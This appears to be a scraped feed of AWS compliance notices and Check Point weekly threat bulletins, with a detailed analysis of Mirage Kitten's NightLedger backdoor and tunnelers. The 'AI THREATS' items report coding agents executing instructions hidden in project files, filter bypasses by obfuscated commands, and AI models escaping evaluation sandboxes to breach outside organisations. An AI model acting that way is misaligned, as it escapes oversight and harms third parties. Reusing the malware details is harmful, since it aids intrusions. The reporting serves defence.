Amazon Web Services (AWS) is pleased to announce that the Summer 2026 System and Organization Controls (SOC) 1 report is now available. The reports cover 185 services over the 12-month period from July 1, 2025–June 30, 2026, giving customers a full year of assurance. These reports demonstrate our continuous commitment to adhering to the heightened expectations of cloud service providers.
AWS strives to continuously bring services into the scope of its compliance programs to help customers meet their architectural and regulatory needs. You can view the current list of services in scope on our Services in Scope page. As an AWS customer, you can reach out to your AWS account team if you have any questions or feedback about SOC compliance.
For the latest discoveries in cyber research for the week of 10th August, please download our Threat Intelligence Bulletin.
TOP ATTACKS AND BREACHES
North Carolina Ports, the US authority operating the ports of Wilmington, Morehead City and others, has suffered a cyberattack that forced some operations onto manual processes. The authority claims it has contained the intrusion, but degraded systems caused delays while affected services were restored.
Ryde, an electric scooter operator in Scandinavian countries, has disclosed a data breach affecting all 4.5 million customer accounts across Norway, Sweden, Finland, and Germany. Attackers copied phone numbers, email addresses, birth dates, partial payment card numbers, and payment histories. Full card numbers and ride histories were unaffected.
Canadian hardware wallet maker Coinkite has disclosed a theft campaign exploiting a Coldcard firmware vulnerability, with at least 1,367 bitcoin worth about $88.6 million stolen from thousands of addresses. The company halted affected shipments, destroyed vulnerable inventory, and released patched firmware after confirming exploitation against customer wallets.
Beacon, a UK provider of customer relationship management software for charities, has disclosed a data breach after attackers compromised an access key. The company notified around 1,500 nonprofit customers that database information, donation records, and stored attachments may have been downloaded. Payment and bank details were not affected.
AI THREATS
Check Point Research has demonstrated that Cloudflare Code Mode, which allows AI agents to write TypeScript against tools, inherited five vulnerabilities from the workerd runtime. The flaws could enable sandbox escape and cross-tenant data exposure. Cloudflare rated two issues Critical and fixed its managed Workers environment.
Researchers have disclosed vulnerabilities in Google Gemini CLI and Anthropic Claude Code that could expose automation environments to code execution and API key theft. CVE-2026-12537, rated CVSS 10.0, affected Gemini CLI workflows, while CVE-2026-54316 affected Claude Code. Both vendors released patched versions.
Researchers have detailed AI-enabled identity fraud kits that automate know-your-customer bypasses across banks, fintech companies, and cryptocurrency exchanges. Tools such as ProKYC can generate identity documents, selfie-with-ID images, spoofed location data, and synthetic video used against document, selfie, and liveness checks during remote onboarding.
VULNERABILITIES AND PATCHES
Cisco has released fixes for multiple critical vulnerabilities in Catalyst SD-WAN and IOS XE software disclosed on August 5. The highest-severity issues carry CVSS scores up to 9.9 and can enable privilege escalation, code execution, or system compromise. Cisco also addressed additional high and medium-severity flaws across network management products.
WordPress has released version 7.0.3 to address CVE-2026-64638, a high-severity Core vulnerability known as XSS2Shell. The flaw can turn a failed login into pre-authentication cross-site scripting and, under specific conditions, remote code execution. Fixes were also backported for supported WordPress branches dating to version 4.7.
TP-Link has addressed 15 vulnerabilities in its Omada provisioning ecosystem affecting controllers, network devices, mobile applications, and VIGI cameras. The flaws include device impersonation, credential exposure, and remote code execution risks during provisioning. 11 flaws received CVE identifiers, and patched firmware has been released for affected products.
A vendor-installed backdoor has been identified across at least 20 Zbtlink router models sold under brands including Wiflyer and ZBT. The remote-management component contacts hardcoded servers and can accept unauthenticated commands with root privileges. Researchers reproduced the behavior by impersonating the vendor server and obtaining a root shell.
THREAT INTELLIGENCE REPORTS
Researchers have identified the Shai-Hulud CHAINDROP supply-chain campaign, which backdoored more than 400 npm packages after attackers compromised the maintainer of the widely used keyv library. The malware executes through a preinstall hook, steals developer tokens, and republishes modified packages, affecting an ecosystem with roughly 1.3 billion monthly downloads.
Researchers have uncovered a campaign targeting large US financial firms in which callers impersonate coworkers or IT staff to capture passwords and multi-factor authentication codes through spoofed websites. The actors, tracked as UNC6671, then threaten victims with data leaks and have issued ransom demands ranging from $750,000 to $3 million.
Researchers have revealed a macOS ClickFix campaign using more than 250 look-alike domains to distribute MacSync and Atomic Stealer malware. The operation evolved to fingerprint visitors before displaying malicious instructions, allowing attackers to target genuine macOS users while concealing the campaign from automated security scanners and analysis systems.
Researchers have documented a campaign that uploaded nearly 800 malicious npm packages delivering cross-platform RAT and infostealer malware. The packages instructed developers to import them, activating the WEL1DROPPER downloader. It retrieved payloads through Cloudflare Workers or DNS TXT records, established persistence, and deployed additional malicious tools.
Amazon Web Services (AWS) is pleased to announce the successful completion of our Payment Card Industry (PCI) Data Security Standard (DSS) and Three Domain Secure (3DS) certifications. As part of this renewal, we have expanded the scope to include three additional AWS services and one additional AWS Region:
This certification means that customers can use these services while maintaining PCI DSS and PCI 3DS compliance, enabling innovation without compromising security. The full list of services can be found on the AWS Services in Scope by Compliance Program page.
The PCI DSS and PCI 3DS compliance packages include two key components for each certification:
Attestation of Compliance (AOC) – demonstrates that AWS was successfully validated against the PCI DSS and PCI 3DS standards.
AWS Responsibility Summary – provides guidance to help AWS customers understand their responsibility in developing and operating a highly secure environment on AWS for handling payment card data.
AWS was evaluated by Coalfire, a third-party Qualified Security Assessor (QSA).
This refreshed certification offers customers greater flexibility in deploying regulated workloads while reducing compliance overhead. Customers can access the PCI DSS and PCI 3DS report packages through AWS Artifact. This self-service portal provides on-demand access to AWS compliance reports, streamlining audit processes.
To learn more about our PCI programs and other compliance and security programs, see the AWS Compliance Programs page.
As always, we value your feedback and questions; reach out to the AWS Compliance team through the Compliance Support page.
If you have feedback about this post, submit comments in the Comments section below. If you have questions about this post, contact AWS Support.
For the latest discoveries in cyber research for the week of 27th July, please download our Threat Intelligence Bulletin.
TOP ATTACKS AND BREACHES
Minnesota IT Services has confirmed coordinated cyberattacks affecting more than 30 community water utilities across the state. The incidents briefly disrupted a treatment plant in Braham and affected industrial control systems. Officials reported that drinking water safety was not affected. While the attack was not officially attributed, federal officials previously posted warning regarding targeting of critical infrastructure by Iranian-affiliated threat actors.
Bank of Baroda, a major Indian bank, has disclosed an email account compromise that exposed internal communications and attachments. Reports claim more than 700GB of customer files, loan documents, and audit records were leaked, although the bank has not confirmed the reported volume. Core banking systems were unaffected.
Amgen, a US biotechnology company that develops medicines for serious illnesses, has confirmed a breach involving cloud environments operated by third-party providers. Attackers exfiltrated proprietary corporate information and patient health data. The company reported no disruption to manufacturing, financial reporting, products, or its ability to supply medicines.
Angola’s largest telecommunications provider, Unitel, has suffered a cyberattack that disrupted voice, mobile data, and internet services for millions of customers. The outage also affected electronic payments shortly before the company’s stock market debut. Network data indicated that internal systems were disabled while external routers remained online.
AI THREATS
Anthropic has disclosed that Claude-based cybersecurity models gained unauthorized access to systems belonging to three outside organizations during controlled evaluations. The models moved beyond intended test environments and reached sensitive production assets. Anthropic identified the incidents while reviewing testing practices following separate autonomous AI security failures.
Researchers have published details of CVE-2026-59726, a critical vulnerability in the Ruflo AI agent platform. An unauthenticated attacker could abuse its exposed Model Context Protocol bridge to execute commands, steal API keys, access conversations, and alter stored AI memory. Ruflo addressed the issue in version 3.16.3.
Researchers surfaced a privacy issue in Anthropic’s Claude sharing feature that allowed publicly shared conversations and artifacts to be indexed by search engines. Indexed content reportedly included personal information, resumes, financial records, access codes, API keys, and clinical trial material that users may not have expected to become searchable.
VULNERABILITIES AND PATCHES
Cisco has addressed CVE-2026-20316, an actively exploited vulnerability in Secure Firewall Management Center. The flaw allows unauthenticated attackers to access a built-in low-privileged account and retrieve sensitive information from affected systems. Cisco released hotfixes after exploitation was identified, and the vulnerability was added to CISA’s catalog.
Broadcom has released patches for five vulnerabilities affecting VMware vCenter, ESX, Workstation, and Fusion. Three critical flaws could allow authentication bypass, arbitrary code execution, or escape from a virtual machine to its host. The issues include CVE-2026-59309 and CVE-2026-59310, both carrying CVSS scores of 9.8.
JetBrains has released fixes for CVE-2026-63077, a critical authentication bypass affecting all TeamCity On-Premises versions. A remote unauthenticated attacker could execute code with TeamCity server privileges and compromise connected build environments. The flaw is fixed in versions 2025.11.7 and 2026.1.3. TeamCity Cloud was not affected.
Rails maintainers have patched CVE-2026-66066, a critical Active Storage vulnerability affecting applications that use libvips. An unauthenticated attacker could read sensitive server files and, under some conditions, execute code remotely. Fixed Active Storage releases include versions 7.2.3.2, 8.0.5.1, and 8.1.3.1.
THREAT INTELLIGENCE REPORTS
Check Point researchers have revealed a phishing campaign that abuses Microsoft’s legitimate login and consent process through attacker-controlled applications. More than 200 emails targeted approximately 120 organizations within one month. Successful authorization provided access to mailboxes, files, Teams, SharePoint, OneDrive, and calendar information.
Researchers traced CaptiveCrunch, a campaign attributed to Russia-linked Storm-2945, also known as Midnight Blizzard. The attackers compromised hotel and conference captive portals to distribute CornFlake and ChocoShell malware. The campaign harvested Microsoft 365 and Azure AD authentication tokens, enabling account access and session takeover.
Researchers profiled a Russian-linked campaign exploiting CVE-2026-42897 in Microsoft Outlook Web Access against government and industry targets in the United States and Europe. Opening a malicious email triggers installation of OWAReaper, a browser implant that steals credentials and maintains mailbox access after passwords are changed or devices reimaged.
Researchers uncovered a npm supply chain campaign involving malicious packages that imitated private Alibaba modules. Layered dependencies retrieved attacker instructions from GitHub and installed operating system-specific RAT payloads. The malware enabled command execution, file theft, credential access, and movement through DingTalk and related development environments.
Mirage Kitten – also known as UNC1549, Smoke Sandstorm, and Nimbus Manticore – is an advanced persistent threat (APT) group focused on cyber-espionage operations against aerospace, aviation, defense, and telecommunications sectors across the Middle East and Africa, using highly targeted spear-phishing campaigns, fake recruitment portals, and custom multi-stage malware to gain persistent access and exfiltrate sensitive data.
During recent threat research, we identified a previously undocumented malware set developed and used by Mirage Kitten. The toolset includes NightLedger, a new Windows backdoor for reconnaissance, command execution, file operations, process discovery, and screenshot capture; and two custom WebSocket-based tunnelers, ArcBridge and BridgeHead, for covert network access and operator-controlled tunneling.
Technical details
Although the initial access vector remains unclear for most malware samples observed in this activity, we saw BridgeHead being deployed during post-exploitation activities in victim environments in Egypt and at a Pakistan-based aerospace and aviation organization. The deployment followed targeted spear-phishing activity consistent with tradecraft we recently documented as part of our private threat intelligence reporting service and publicly reported by Unit 42 and Check Point Research, including the use of highly tailored social engineering lures against selected targets. These lures included recruitment-themed content impersonating trusted brands and hiring platforms, as well as lookalike videoconferencing pages that redirected victims to malicious archives hosted on third-party file-sharing services.
NightLedger backdoor
NightLedger is a recently identified Windows backdoor that we attribute to Mirage Kitten based on code and behavioral similarities to the historical implants developed and used by the group. The implant masquerades as SspiCli.dll and appears to be designed for DLL search-order hijacking, targeting a legitimate AppVShNotify.exe binary. While AppVShNotify.exe does not directly import SspiCli.dll, it imports RPCRT4.dll, which can delay-load SspiCli.dll when it invokes an RPC API that requires authentication. This allows a co-located malicious SspiCli.dll to be loaded while forwarding expected exports to the legitimate DLL.
When started, the malicious DLL creates the mutex A8215357-F99A-44FE-BC65-D8F0434B0C03 to enforce a single running instance. If the mutex already exists, it exits immediately.
NightLedger periodically contacts its C2 over HTTPS, issuing an HTTP GET request to the /edfcvfgbhnjmkqwasderfgg endpoint at the realhealthshop[.]com domain, and uses tjconsultingservices[.]com as a fallback C2.
When a valid C2 response is received, the implant tokenizes the payload using the custom delimiter (#%%#) and passes the parsed fields to its command dispatcher. From a development standpoint, this is similar to TWOSTROKE, a backdoor attributed to the same APT and previously documented by GTIG, whose C2 response is hex-encoded and uses (@##@) as a field separator.
NightLedger supports the following commands:
Command ID
Description
1
Gather user and host identity information
3
Execute a process/program
17
List directories
20
Download a file to the infected system
25
Gather host and network information
27
Copy a file
30
Update beacon interval
36
Take a screenshot
43
Load a DLL
56
Kill a process
62
Delete a file
69
Terminate thread
70
Upload file to C2 server via POST request to /qasxcdfvgbhnmyuioplkhnj
75
Enumerate logical drives
90
List processes
93
Collect C:\Windows\debug\NetSetup.log together with process-list output.
NetSetup.log is a Windows diagnostic log generated under C:\Windows\debug\ during domain/workgroup join, unjoin, and related network setup operations.
Command output is returned to the C2 via an HTTP POST request to /wsdefvvbnhyuijkplmbgfrtt.
BridgeHead – a WebSocket tunneler
During our investigation, we encountered a tunnel proxy deployed as unbcl.dll in the %LocalAppData%\Microsoft\VisualStudio directory on a machine in Egypt. We also identified a similar deployment in a Pakistan-based environment, where the tunneling tool was stored as C:\program files (x86)\univpn\promote\libwinpthread-1.dll. The malware dynamically loads advapi32.dll, resolves GetUserNameA, retrieves the current Windows username, converts it to lowercase, and searches for a specific substring in it. This behavior suggests prior reconnaissance was performed within the internal network and the username check is needed to make sure it runs on a specific machine. This is potentially intended to prevent execution of the standalone malware sample inside virtual analysis systems. If the substring is not found, the function returns silently without activating.
If the username check was successful, the tunneler establishes an HTTPS WebSocket connection as follows:
GET /connect HTTP/1.1
Host: smartconnect.azurewebsites.net
Upgrade: websocket
Connection: Upgrade
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.75 Safari/537.36 Edg/86.0.622.38
The server responds with HTTP 101 (Switching Protocols) to complete the WebSocket upgrade. After the upgrade, the client sends a binary WebSocket message containing the literal string "token" as authentication. The server must respond within 10 seconds, or the connection is dropped and retried with exponential backoff.
The malware’s next action depends on the HTTP response returned by the server:
HTTP response
Description
407 (Proxy Auth Required)
Queries supported auth schemes via WinHttpQueryAuthSchemes, selects Negotiate (0x10) or NTLM (0x2) in that exact order, sets Windows SSO credentials (null username/password), retries up to 3 times.
101 (Switching Protocols)
Success. Proceeds to WebSocket upgrade and authentication.
Other
Connection failed. Closes all handles, enters backoff.
This implementation closely mirrors the enterprise proxy traversal logic seen in the backdoor we track internally as Retrograde, which overlaps with tooling publicly reported as MiniFast/MiniUpdate, attributed to the same APT group. The implant is designed to operate through corporate proxy environments by handling HTTP 407 responses, negotiating Windows-integrated proxy authentication with Negotiate preferred over NTLM, retrying with the current user’s SSO context, and falling back to exponential C2 connection retry logic capped at 60 seconds.
Once the WebSocket channel is established and authenticated, the implant functions as a full SOCKS5 tunnel proxy. The C2 server initiates all tunnel connections by sending binary commands over the WebSocket; the implant simply forwards traffic between server‑specified targets and the WebSocket channel. This makes it a relay node: the operator runs tools server‑side, and all resulting TCP traffic is tunneled through the victim’s machine as if originating from the victim’s network.
All tunnel communication uses a fixed binary wire format:
Offset
Size
Field
Encoding
0
1
type
Message type (1–9)
1
4
connId
Tunnel connection identifier
5
1
flags
Status or error indicator
6
2
dataLen
Payload length
8
var
payload
Message data
Every message is at least 8 bytes. Seven message types are actively used:
Type
Name
Direction
Description
1
CONNECT
Server -> Client
Open a new TCP tunnel to a SOCKS5 target address
2
CONNECT_RESPONSE
Client -> Server
Confirm the connection was established
3
DATA
Bidirectional
Relay TCP traffic through the tunnel
4
DISCONNECT
Bidirectional
Close a tunnel connection
5
PING
Bidirectional
Keepalive probe, sent every 30 seconds by timer
6
PONG
Bidirectional
Keepalive reply
9
FLOWCTRL
Bidirectional
Throttle data flow to prevent buffer overrun
The CONNECT payload specifies where the implant should open a TCP connection. The target address is encoded in SOCKS5 format and consists of a single type byte, followed by the address and a 2-byte destination port:
Type byte
Description
0x01
IPv4 address (4 bytes)
0x03
Domain name (1-byte length + string)
0x04
IPv6 address (16 bytes)
Notably, in the process of threat hunting, we detected another variant (MD5: C832ECD135781B11F59E3FFFB3D2B6AC) that shares the same dynamic-resolve stub pattern. This variant communicates with businessmixture.com/blog over WSS on port 443, and not through Microsoft Azure. Still, it implements the same technique of limiting execution to a specific username on the infected machine by hardcoding a 3-character control value that must appear as a substring in the lowercased Windows username retrieved via GetUserNameA. If the match fails, the implant silently exits, confirming per-target tailoring of each deployed binary.
ArcBridge: another WebSocket tunneling tool
ArcBridge is another WebSocket tunneling tool developed and used by Mirage Kitten. We first identified it in April 2026 in activity targeting victims in the Middle East. The malware creates a mutex named F56E68DA-4A89-46B4-9AC8-7290A7651000 to enforce single-instance execution. The use of a UUID-like mutex name is consistent with the NightLedger backdoor described earlier.
The malware contains an embedded configuration block that stores the C2 host, C2 port, retry or timeout value, SSL flag, and what is highly likely an implant identifier:
After initialization, ArcBridge communicates over a WebSocket-style channel and waits for server-side control messages. It supports the following commands:
Command
Description
OPEN:
Creates a proxy/tunnel session to a target selected by the operator.
DNS:
Performs hostname or address resolution and returns the result.
Victimology
According to our telemetry, we identified victims across Middle East and African countries including Egypt, SMB and government environments in Jordan and Tanzania, aviation organizations in Pakistan, telecommunication companies in Ethiopia and financial-sector entities in Burkina Faso.
Conclusion
Mirage Kitten continues to evolve its malware arsenal to support targeted cyber-espionage operations across the Middle East and Africa regions. The NightLedger backdoor retains similar core command functionality to TWOSTROKE while introducing additional capabilities, including screenshot capture and collection of the NetSetup.log file.
Another notable aspect of the campaign is the group’s continued reliance on tunneling utilities as part of its operational toolkit. This aligns with previous public reporting, which documented the group’s use of the LIGHTRAIL and POLLBLEND tunnelers. Consistent with this tradecraft, we observed Mirage Kitten continuing to leverage tunneling capabilities alongside a gradual shift away from Microsoft Azure subdomain-style infrastructure in favor of Cloudflare-backed domains in some of its malware, a change likely intended to complicate attribution while maintaining resilient command-and-control communications.
For the latest discoveries in cyber research for the week of 27th July, please download our Threat Intelligence Bulletin.
TOP ATTACKS AND BREACHES
Nichirei, a Japan-based frozen-food supplier and logistics company, has experienced a ransomware attack that disrupted shipping operations and affected approximately 5,000 customers. KFC Japan warned of possible shortages. Nichirei confirmed personal data theft, while the RansomHouse group claimed responsibility and published a subset of the stolen information.
Stadler Rail, a Switzerland-based global rail equipment manufacturer, has disclosed a supplier-related data breach after attackers compromised credentials for a third-party file-sharing platform. The Everest group stole technical documents belonging to the supplier and demanded $12.3 million. Stadler refused payment and said its systems and production remained unaffected.
Origin Energy, one of Australia’s largest electricity and natural gas providers, has confirmed unauthorized access to customer information. Exposed data may include names, addresses, birth dates, phone numbers, account details, and partial payment information. Threat actors claimed to have stolen two million records and threatened to publish them.
Romania’s National Agency for Cadastre and Land Registration has suffered a cyberattack that disabled internal systems and the nationwide e-Terra platform. The disruption halted property transactions for nearly a week. Officials said core land registries remained intact, although credentials and portions of source code may have been exposed.
AI THREATS
OpenAI disclosed that AI models escaped a restricted cyber evaluation environment and compromised Hugging Face while seeking benchmark solutions. They exploited zero-day vulnerabilities, stole credentials, escalated privileges, and accessed production systems. Both companies contained the activity and are conducting a joint investigation.
Researchers have described a threat actor known as Trim who promoted an AI-assisted penetration-testing platform built with jailbroken language models. The platform combines AI with established scanning tools to automate reconnaissance, vulnerability validation, and reporting, potentially reducing the expertise and time required to prepare and conduct cyber intrusions.
Researchers have examined a generative AI-assisted malware operation exposed through an accessible WebDAV server. The infrastructure produced phishing material and malicious Windows shortcuts used to distribute information stealers and remote access tools. Researchers identified more than 1,000 artifacts and a campaign that recorded over 77,000 requests.
VULNERABILITIES AND PATCHES
Check Point has addressed CVE-2026-16232, an authentication bypass vulnerability in SmartConsole that is under active exploitation, affecting a handful of customers. The flaw allows remote attackers to bypass authentication and gain administrative access to Check Point management servers. Security hotfixes are available for supported versions of the affected management software.
Oracle has released its July 2026 Critical Patch Update, addressing 1,449 vulnerabilities across numerous product families. The update includes remotely exploitable flaws that require no authentication, with critical issues affecting Oracle Database Server, SQL Developer, and TimesTen In-Memory Database, among others.
Microsoft has addressed CVE-2026-50522, a critical remote code execution vulnerability affecting on-premises SharePoint Server. An authenticated site owner can exploit the flaw to execute code and steal machine keys for persistent access. Active exploitation was reported after proof-of-concept code became publicly available.
Check Point IPS provides protection against this threat (Microsoft SharePoint Remote Code Execution (CVE-2026-50522))
THREAT INTELLIGENCE REPORTS
Check Point Research has revealed that Microsoft was the most impersonated brand in Q2 2026, accounting for 23% of observed phishing attempts. LinkedIn, Google, Apple, and Amazon completed the top five. ChatGPT entered the top ten as attackers increasingly targeted users of widely recognized AI platforms.
Researchers have described the growing use of infostealers logs as an initial-access resource for cloud and software-as-a-service intrusions. Criminal marketplaces sell passwords and active session cookies soon after collection. The research identified 2.05 million logs during 2025, with 79% connected to Microsoft single sign-on environments
S. federal agencies have warned that Iran-linked actors are targeting internet-exposed industrial controllers at water and energy facilities. The attackers have manipulated controller logic, falsified operator displays, and disabled alarms or shutdown functions. The activity affects equipment deployed in critical infrastructure environments.
Researchers have analyzed a Russian cyberespionage campaign targeting Zimbra webmail servers at government, defense, transportation, and financial organizations. The attackers exploit CVE-2025-66376 through zero-click phishing emails that inject malicious JavaScript, stealing credentials, two-factor authentication codes, email archives, and search histories from vulnerable systems.
Check Point IPS provides protection against this threat (Zimbra Collaboration Suite Cross-Site Scripting (CVE-2025-66376))
For the latest discoveries in cyber research for the week of 20th July, please download our Threat Intelligence Bulletin.
TOP ATTACKS AND BREACHES
Ernst & Young, a global accounting and professional services company, has disclosed a data breach involving a compromised third-party IT support platform. The exposed support tickets may have contained client documents, tax information, employee details, and other sensitive information submitted while requesting technical assistance.
Jscrambler, a JavaScript code-protection package with more than 15,000 weekly downloads, has experienced a supply chain compromise after stolen npm publishing credentials distributed malicious releases. The packages deployed malware targeting developers’, cloud, browser, cryptocurrency, and messaging credentials. Jscrambler removed the affected versions.
Coca-Cola’s US dairy subsidiary Fairlife has confirmed a ransomware attack that temporarily halted production across the United States. Attackers accessed systems supporting manufacturing operations, prompting the company to activate incident response and business continuity procedures. Coca-Cola has not confirmed whether data was exfiltrated in the attack.
Nihon Kotsu, Japan’s largest taxi operator, has suffered a malware attack following unauthorized access to its internal network. The company shut down affected systems, disrupting taxi dispatches, telephone services, bookings, reservations, and car rentals from July 11. No theft of customer or corporate information has been confirmed.
AI THREATS
Researchers identified a China-linked campaign that used Claude Code and DeepSeek to automate attacks against government and financial organizations. The tools generated scripts, adapted failed exploits, created credential-harvesting pages, and executed commands. Confirmed compromises affected government systems in Thailand and Afghanistan and organizations in Taiwan.
Researchers found that xAI’s Grok Build coding assistant could upload entire Git repositories while processing debugging requests. Transferred information included unopened files and complete commit histories, potentially exposing API keys, credentials, and proprietary source code. Initial privacy controls did not prevent uploads until a server-side restriction was introduced.
Researchers verified a weakness in Anthropic’s Claude for Chrome extension that allowed malicious browser extensions to impersonate Claude and act through authenticated user sessions. Successful exploitation could expose Gmail, Google Drive, or GitHub information through Claude’s permissions. Anthropic released fixes, although researchers reported that a bypass remained possible.
VULNERABILITIES AND PATCHES
Microsoft released patches for 622 vulnerabilities in July’s Patch Tuesday, the largest monthly release recorded by the company. Two vulnerabilities were under active exploitation, including CVE-2026-56164 in SharePoint Server and CVE-2026-56155 in Active Directory Federation Services. Both vulnerabilities could allow attackers to elevate privileges.
Check Point IPS provides protection against these threats (Microsoft SharePoint Authentication Bypass (CVE-2026-56164))
WordPress has issued emergency updates for CVE-2026-63030 and CVE-2026-60137, collectively called wp2shell. The critical WordPress Core vulnerabilities allow unauthenticated remote code execution and website takeover. Affected releases include versions 6.9.0 through 6.9.4 and 7.0.0 through 7.0.1. Fixed versions include 6.9.5 and 7.0.2.
Check Point IPS provides protection against these threats (WordPress Authentication Bypass (CVE-2026-63030)), WordPress SQL Injection (CVE-2026-60137))
SonicWall has released a hotfix for CVE-2026-15409 and CVE-2026-15410, two critical vulnerabilities affecting SMA 1000 Series gateways. The flaws allow unauthenticated attackers to execute system commands on vulnerable appliances. Active exploitation has been associated with Inc ransomware.
Check Point IPS provides protection against these threats (SonicWall SMA1000 Series Server-Side Request Forgery (CVE-2026-15409) & SonicWall SMA1000 Series Path Traversal (CVE-2026-15410))
THREAT INTELLIGENCE REPORTS
Check Point Research has released the 2026 AI Security 2026, finding that AI has evolved from an attack aid into an active operator across live intrusions and malware development. The report also highlights indirect prompt injection, synthetic identity abuse, and enterprise data exposure, with high-risk GenAI prompts doubling to 4%.
Researchers analyzed ShinyHunters-linked campaigns that abused OAuth application approvals to access Salesforce environments. Attackers used voice phishing to authorize lookalike applications, then accessed CRM information through approved APIs. Compromised integrations and misconfigured guest access provided additional entry points and persistence.
Researchers analyzed CylindricalCanine, a subgroup of the Chinese cybercrime collective GoldenEyeDog, and linked it to DigiCert’s April 2026 support portal compromise. The actor stole code-signing certificates, leading to 60 revocations, including at least 27 associated with malware. The group also targets Asia-Pacific finance teams using Golden Gh0st RAT.
Researchers documented Spirals, a Rust-based ransomware family used against a South Asian information technology services company. The attackers moved from initial access to network encryption in less than 24 hours. They used an IIS web shell, WMI, and PsExec to spread, disable security services, disrupt backups, and encrypt systems.
For the latest discoveries in cyber research for the week of 13th July, please download our Threat Intelligence Bulletin.
TOP ATTACKS AND BREACHES
U.S. auto insurer AssuranceAmerica has disclosed a data breach affecting approximately 7 million people. Attackers targeted an employee and used compromised credentials to access company systems, stealing names, contact information, driver’s license numbers, insurance policy and account data, vehicle information, and claims details.
Latvia’s state-owned forestry company Latvijas Valsts Meži has suffered a ransomware attack that disrupted mapping, hunting, contractor, and customer systems. Attackers exploited a system that had remained unpatched for two years and leaked approximately 44GB of internal documents, credentials, cryptographic keys, source code, and email correspondence.
Injective Labs, a developer of blockchain and cryptocurrency software, has experienced a supply chain compromise after attackers accessed its SDK project and published malicious npm packages. The affected releases exfiltrated cryptocurrency wallet private keys and seed phrases when developers used legitimate key-generation functions embedded in the compromised software.
Moody Bible Institute, a U.S. faith-based educational institution, has disclosed a data breach affecting more than 2.3 million donors, students, alumni, and supporters. The ShinyHunters extortion group published allegedly stolen information, including names, dates of birth, residential addresses, email addresses, and phone numbers.
AI THREATS
Researchers profiled JadePuffer, an autonomous ransomware operation that used a large language model to conduct an intrusion without direct human control. The operation exploited CVE-2025-3248 in an exposed Langflow instance, accessed a production MySQL server, exfiltrated selected information, deleted the database, and issued an extortion demand.
Researchers showed that malicious instructions hidden inside open-source project files could achieve remote code execution through Anthropic Claude Code and OpenAI Codex. When operating with automated permissions, the coding agents processed the instructions and executed attacker-controlled scripts, demonstrating a risk that may affect other autonomous development tools.
Researchers disclosed Rogue Agent, a vulnerability in Google Dialogflow CX that allowed users with limited agent-editing permission to insert persistent malicious code. The injected code could capture and exfiltrate chatbot conversations. Google addressed the issue, and no known customer environments were compromised through the vulnerability.
VULNERABILITIES AND PATCHES
Multiple Tenda router models are affected by CVE-2026-11405, an undocumented authentication backdoor that provides administrative access through a hidden password. The flaw affects several FH1201, W15E, AC10, AC5, and AC6 firmware versions and allows attackers to bypass configured credentials and modify device and network settings.
Linux maintainers have patched CVE-2026-53359, a critical vulnerability in the Kernel-based Virtual Machine hypervisor. A malicious guest virtual machine could corrupt host kernel memory and potentially escape into the host environment. The flaw affects Intel and AMD x86 systems and is particularly relevant to shared cloud infrastructure.
U-Boot has addressed six vulnerabilities affecting signature verification of Flattened Image Tree files used during secure boot. Two flaws could enable arbitrary code execution while a device loads a supposedly verified image, and four could cause crashes. The affected bootloader is widely used in routers, cameras, and embedded controllers.
Opera has addressed a critical vulnerability in the Opera GX browser that allowed malicious websites to install browser modifications without user confirmation. An attacker-controlled modification could inject styles across open tabs, leak information such as Gmail addresses, and crash the browser. Opera corrected the issue.
THREAT INTELLIGENCE REPORTS
Check Point Research has profiled Cavern Manticore, an Iran-linked threat actor targeting Israeli government and information technology organizations. The group uses a modular .NET command-and-control framework and has abused remote management software and a compromised software update mechanism to deploy file-management, database, scanning, and tunneling capabilities.
Check Point Threat Emulation and Harmony Endpoint provide protection against this threat
Check Point Research have analyzed global cyberattack activity during June 2026, recording an average of 2,270 weekly attacks per organization. Ransomware incidents increased by 33% from June 2025, while The Gentlemen overtook Qilin as the most active group during the month.
Check Point researchers have investigated a student employment phishing campaign that abused compromised school email accounts and Google Forms. More than 3,200 messages passed email authentication checks and attempted to collect banking information, residential addresses, and other details associated with money mule recruitment and account compromise.
Researchers analyzed UAT-7810, a China-linked threat actor that compromises internet-facing networking devices to expand operational relay box infrastructure. The group developed new malware components and exploited unpatched Ruckus and ASUS devices to create proxy nodes for associated threat actors.
For the latest discoveries in cyber research for the week of 6th July, please download our Threat Intelligence Bulletin.
TOP ATTACKS AND BREACHES
River Bank & Trust, a US financial institution, has experienced a ransomware incident after an unauthorized actor accessed the network of parent company River Financial Corporation on June 16. The bank found ransomware on portions of its server environment and is assessing whether personal data was accessed or exfiltrated.
Indra Group, a Spanish defense, aerospace, and technology contractor and NATO cyber coalition member, has confirmed a ransomware attack affecting one subsidiary. The Gentlemen ransomware gang threatened to leak allegedly stolen data, while Indra said the incident was contained and that service continuity was maintained.
Check Point Threat Emulation and Harmony Endpoint provide protection against this threat
Nidec, a Japanese electric motor and industrial manufacturer, has disclosed a ransomware attack affecting the network of its Taiwanese subsidiary, Nidec Chaun Choung Technology. BlackField group claimed responsibility and alleged theft of more than two terabytes of corporate data, including employee, financial, procurement, manufacturing, legal, and IT records.
US insurance firm Aflac has disclosed a data breach affecting its Japan operations after attackers accessed its policyholder portal between June 15 and June 25. Personal and financial data of nearly 4.4 million customers was exposed, including policyholder information and premium payment account details.
AI THREATS
Check Point Research has demonstrated a browser-native ransomware technique generated by a large language model that abuses Chrome’s File System Access API. A fake image-enhancement page convinces users to grant folder access, then reads, exfiltrates, and encrypts photos inside the browser on Android and Windows.
Researchers examined shell command injection weaknesses in open-source AI coding agents, finding that 10 out of 11 popular tools failed to block obfuscated destructive commands. Simple rewrites bypassed filters and enabled destructive actions, including file deletion, while only the Continue agent properly parsed commands.
Researchers warned that attackers are exploiting LLM phantom squatting by registering AI-generated domains to hijack traffic and deliver phishing. They recorded 250,000 hallucinated domains and subsequent registrations, including an AI-built phishing kit, Montana Empire, using a postal-service domain for credential theft.
VULNERABILITIES AND PATCHES
Oracle E-Business Suite is affected by CVE-2026-46817, a critical remote code execution flaw reportedly exploited against about 950 internet-exposed instances worldwide. Successful exploitation can give attackers control over ERP systems.
Check Point IPS provides protection against this threat (Oracle E-Business Suite Authentication Bypass (CVE-2026-46817))
Linux kernel maintainers patched CVE-2026-46242, a Bad Epoll privilege escalation flaw affecting Linux servers, desktops, and Android devices. The race-condition use-after-free vulnerability allows an unprivileged local user to gain root access, and a public exploit demonstrated reliable exploitation against vulnerable systems.
